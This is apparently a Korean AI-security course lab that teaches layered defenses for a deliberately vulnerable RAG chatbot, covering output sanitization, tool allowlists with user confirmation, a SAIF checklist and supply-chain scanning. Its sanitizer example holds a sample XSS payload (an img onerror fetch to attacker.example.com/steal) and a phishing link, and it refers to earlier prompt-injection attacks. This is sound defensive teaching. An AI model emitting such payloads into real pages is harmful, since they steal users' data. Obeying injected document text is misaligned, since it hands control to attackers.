Lab 9: 캡스톤 2개월차 — 보안 통제 설계와 공급망 보안 점검

이 실습은 12주(3개월) AI 보안 캡스톤 프로젝트의 2개월차입니다. Lab 8: 캡스톤 1개월차 — 취약한 RAG 챗봇 구축과 1차 공격에서 정의한 위험 표면을 바탕으로, 입력/모델/출력/툴 실행 계층별 보안 통제를 설계하고, Google SAIF 관점에서 데이터·모델·저장소·서빙 접근통제를 점검합니다. 이어서 AI 공급망 인벤토리를 작성하고 Lab 7: AI 모델 공급망 보안 점검을 적용한 뒤, 통제를 반영한 v2를 재배포해 1개월차와 동일한 공격 세트로 개선 전/후를 비교합니다. 다음 단계는 Lab 10: 캡스톤 3개월차 — 위협모델링·레드팀 리포트·사고대응입니다.

2개월차의 목표는 “완전히 안전한 시스템"을 만드는 것이 아닙니다. Lab 8에서 발견한 공격 중 일부는 통제를 추가해도 완전히 막히지 않을 수 있습니다. 이번 실습을 마칠 때는 “이 시스템은 안전하다"가 아니라 “이 공격은 완화됐고, 이 공격은 아직 남아있다” 형태로 결과를 정리하는 습관을 들이는 것이 핵심 목표입니다.

목표

• 입력/모델/출력/툴 실행 계층별 통제를 설계하고, Lab 8에서 성공한 공격 3~4종에 대한 방어 논리를 설명한다.
• SAIF 관점(데이터, 프레임워크/코드, 저장, 서빙)에서 접근통제·비밀정보 관리·로그 내 민감정보 노출 여부를 점검하고 체크리스트를 작성한다.
• AI 공급망(모델, 임베딩, 벡터DB, 외부 라이브러리, 문서 수집기) 인벤토리를 작성하고 Lab 7의 점검을 적용해 의존성 위험 1개 이상에 대한 대응책을 작성한다.
• 통제를 반영한 v2를 만들고, Lab 8과 동일한 공격 세트로 개선 전/후 결과를 비교한다.

사전 준비

이 실습은 Lab 8에서 만든 취약한 RAG 챗봇 코드(벡터스토어, 악성 문서, 질의 함수, 도구 실행 함수)를 그대로 이어서 사용합니다. 패키지도 Lab 8 및 Lab 7과 동일합니다.

# Lab 8을 완료했다면 별도 설치는 필요 없습니다.
# 7주차에서 Lab 7을 적용하기 위해 아래 패키지만 추가로 필요할 수 있습니다.
pip install pip-audit cyclonedx-bom

단계별 실행

5주차: 프롬프트·출력·권한 통제

계층별 통제 목록 템플릿

(a) 출력 후처리 — 모델 응답 검증/이스케이프

import html
import re

# 응답에 포함되어도 되는 외부 링크 도메인만 허용
ALLOWED_LINK_DOMAINS = {"intranet.example.com"}

LINK_PATTERN = re.compile(r"https?://([^\s/]+)[^\s)]*")


def sanitize_output(text: str) -> str:
    """모델 응답을 셸/SQL/HTML로 그대로 전달하기 전에 검증·이스케이프한다."""
    # 1. HTML 태그/속성을 이스케이프하여 <img onerror=...> 등이
    #    그대로 렌더링되지 않도록 한다.
    escaped = html.escape(text)

    # 2. allowlist에 없는 도메인으로 향하는 링크는 텍스트로만 남기고
    #    클릭 가능한 형태(자동 링크)로 변환되지 않도록 마킹한다.
    def _check_link(match: "re.Match") -> str:
        domain = match.group(1)
        if domain in ALLOWED_LINK_DOMAINS:
            return match.group(0)
        return f"[차단된 외부 링크: {domain}]"

    return LINK_PATTERN.sub(_check_link, escaped)


# 사용 예
raw_response = (
    '회의실 예약 안내입니다. <img src=x onerror="fetch(\'https://attacker.example.com/steal\')"> '
    "자세한 내용은 https://attacker.example.com/phish 를 참고하세요."
)
print(sanitize_output(raw_response))

(b) 툴 실행 전 승인 — allowlist + 사용자 확인

# 의사코드: Excessive Agency 대응 — 모델이 호출하려는 "도구/명령"을
# allowlist로 먼저 걸러내고, 통과한 경우에도 실행 전 사용자 확인을 요구한다.

ALLOWED_TOOLS = {"search_docs", "summarize_text"}  # 외부 시스템에 영향을 주지 않는 도구만 허용


def confirm_and_run_tool(tool_name: str, arguments: dict, user_confirm_fn) -> dict:
    # 1단계: allowlist 검사 — 목록 외 도구는 즉시 차단
    if tool_name not in ALLOWED_TOOLS:
        return {"status": "blocked", "reason": f"'{tool_name}'은 허용되지 않은 도구입니다."}

    # 2단계: 사용자 확인 — 모델이 자율적으로 실행하지 않고,
    #        실행 전에 사람이 의도와 인자를 확인할 기회를 제공
    summary = f"도구 '{tool_name}'을 다음 인자로 실행하려 합니다: {arguments}"
    if not user_confirm_fn(summary):
        return {"status": "cancelled", "reason": "사용자가 실행을 취소했습니다."}

    # 3단계: 실행 및 로깅 (실제 실행 로직은 별도 함수로 분리)
    result = run_tool_impl(tool_name, arguments)
    log_tool_execution(tool_name, arguments, result)
    return {"status": "executed", "result": result}

통제-공격 매핑 표

Lab 8에서 성공했던 공격 시나리오를 가져와, 5주차에서 추가한 통제 중 무엇이 이를 막는지 매핑합니다.

6주차: 데이터·모델·저장소 보안 (SAIF 관점)

SAIF 점검 체크리스트 표

Lab 4에서 다룬 인증 헤더 검증, Pydantic 입력 스키마 강제, 디버그 모드 비활성화 패턴을 이 RAG 챗봇의 질의 엔드포인트에도 동일하게 적용합니다. app_secure.py의 X-API-Key 검증과 conlist 기반 입력 검증 구조를 그대로 가져와 질의 요청(question)에 맞게 변형하면 됩니다.

7주차: 공급망과 의존성 검토

AI value chain 인벤토리 템플릿

이제 Lab 7: AI 모델 공급망 보안 점검을 이 RAG 챗봇 프로젝트에 대해 실행하세요. Lab 7의 4단계를 다시 떠올리면:

1. pip-audit으로 RAG 챗봇 프로젝트의 의존성(langchain, faiss-cpu, sentence-transformers 등) 취약점을 스캔합니다.
2. cyclonedx-py로 RAG 챗봇 프로젝트 환경의 SBOM(sbom.json)을 생성합니다.
3. 임베딩 모델 파일/벡터DB 인덱스 파일의 SHA256 체크섬을 계산해 provenance.json에 기록합니다.
4. 위 정보를 종합해 RAG 챗봇용 model-card.yaml(또는 rag-card.yaml)을 작성합니다.

8주차: 개선 버전 재배포 및 비교

5~7주차 변경사항 요약

개선 전/후 비교 표 템플릿

Lab 8의 공격 시나리오 ID(TC-1, TC-2, … 형식)를 기준으로 작성합니다.

결과 확인

8주차의 개선 전/후 비교 표를 채울 때는 아래 기준으로 판정을 구분하세요.

• 완전히 막힌 공격: v2에서 해당 시나리오를 재실행했을 때, 인젝션 문구나 악성 출력이 응답에 전혀 반영되지 않고 통제(필터링/이스케이프/차단)가 명확히 동작한 경우.
• 부분적으로 완화된 공격: 인젝션 문구가 일부 응답에 영향을 주거나, 통제가 동작했지만 우회 가능한 변형이 존재하는 경우. (예: HTML 이스케이프는 됐지만 텍스트로 노출된 URL은 여전히 사용자가 수동으로 복사해 접속할 수 있음)
• 여전히 남은 공격: v2에서도 동일하게(또는 유사하게) 공격이 성공하는 경우. 이 항목은 Lab 10의 위협모델링/레드팀 리포트에서 우선적으로 다룰 대상으로 표시해 둡니다.

세 범주로 명확히 구분해 기록하는 것이 이번 단계의 핵심입니다. “거의 다 막혔다"처럼 모호한 표현 대신, 시나리오별로 위 세 범주 중 하나를 명시하세요.

체크리스트

• 입력/모델/출력/툴 실행 4개 계층의 통제 목록 표를 작성했다.
• sanitize_output() 함수로 악성 HTML/링크가 안전한 형태로 변환됨을 확인했다.
• confirm_and_run_tool() 패턴으로 allowlist 외 도구 차단과 사용자 확인 단계를 구현했다.
• Lab 8의 공격 시나리오 3~4개를 통제와 매핑한 표를 작성했다.
• SAIF 4개 영역(데이터/프레임워크·코드/저장/서빙) 체크리스트를 작성하고, Lab 4 패턴을 서빙 계층에 적용했다.
• AI value chain 인벤토리(5개 이상 구성요소)를 작성하고 Lab 7의 4단계(pip-audit, SBOM, 체크섬, 모델 카드)를 RAG 챗봇 프로젝트에 적용했다.
• 5~7주차 변경사항을 v1 대비 v2 요약 표로 정리했다.
• 동일 공격 세트로 v1/v2를 비교하고, 각 시나리오를 “완전히 막힘/부분 완화/여전히 남음"으로 구분해 기록했다.

학습효과

• 계층형 방어(Defense in Depth) 설계: 입력/모델/출력/툴 실행이라는 4개 계층에 각각 독립적인 통제를 배치함으로써, 하나의 통제가 우회되어도 다른 계층에서 공격을 완화할 수 있는 구조를 직접 설계하고 구현합니다.
• SAIF 기반 운영 보안 점검: Google SAIF의 데이터/프레임워크·코드/저장/서빙 관점을 적용해, 모델 자체의 정확성과 무관하게 운영 환경(접근통제, 비밀정보 관리, 로그)에서 발생하는 위험을 체계적으로 점검하는 습관을 갖춥니다.
• “완화"와 “해결"의 구분: 보안 통제를 추가한 뒤에도 모든 공격이 사라지지 않는다는 것을 직접 확인하고, 결과를 “완전히 막힘/부분 완화/여전히 남음"으로 정직하게 기록하는 레드팀/블루팀 보고의 기본 원칙을 익힙니다.

더 살펴보기